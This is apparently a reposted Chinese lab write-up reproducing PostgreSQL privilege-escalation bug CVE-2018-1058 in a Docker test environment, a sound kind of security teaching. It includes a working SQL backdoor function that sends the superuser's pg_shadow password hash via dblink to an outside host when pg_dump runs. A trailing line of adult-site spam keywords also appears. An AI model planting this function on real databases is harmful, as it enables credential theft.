<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    PostgreSQL 提權漏洞(CVE-2018-1058)

    Path postgres/CVE-2018-1058

    PostgreSQL 是一款關系型數據庫。其9.3到10版本中存在一個邏輯錯誤,導致超級用戶在不知情的情況下觸發普通用戶創建的惡意代碼,導致執行一些不可預期的操作。

    參考鏈接:

    漏洞環境

    啟動存在漏洞的環境:

    docker-compose up -d

    環境啟動后,將在本地開啟PG默認的5432端口。

    漏洞復現

    參考上述鏈接中的第二種利用方式,我們先通過普通用戶vulhub:vulhub的身份登錄postgres: psql --host your-ip --username vulhub

    執行如下語句后退出:

    CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
        select dblink_connect((select 'hostaddr=10.0.0.1 port=5433 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); 
        SELECT pg_catalog.array_to_string($1,$2);
    $$ LANGUAGE SQL VOLATILE;

    然后我在10.0.0.1上監聽5433端口,等待超級用戶觸發我們留下的這個“后門”。

    (假裝自己是超級用戶)在靶場機器下,用超級用戶的身份執行pg_dump命令:docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub,導出vulhub這個數據庫的內容。

    執行上述命令的同時,“后門”已被觸發,10.0.0.1機器上已收到敏感信息:

    上述過程僅是該漏洞的一種利用方法,涉及到機器比較多可能有點亂,建議讀者閱讀參考鏈接中的文章,獲取更多利用方法。

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类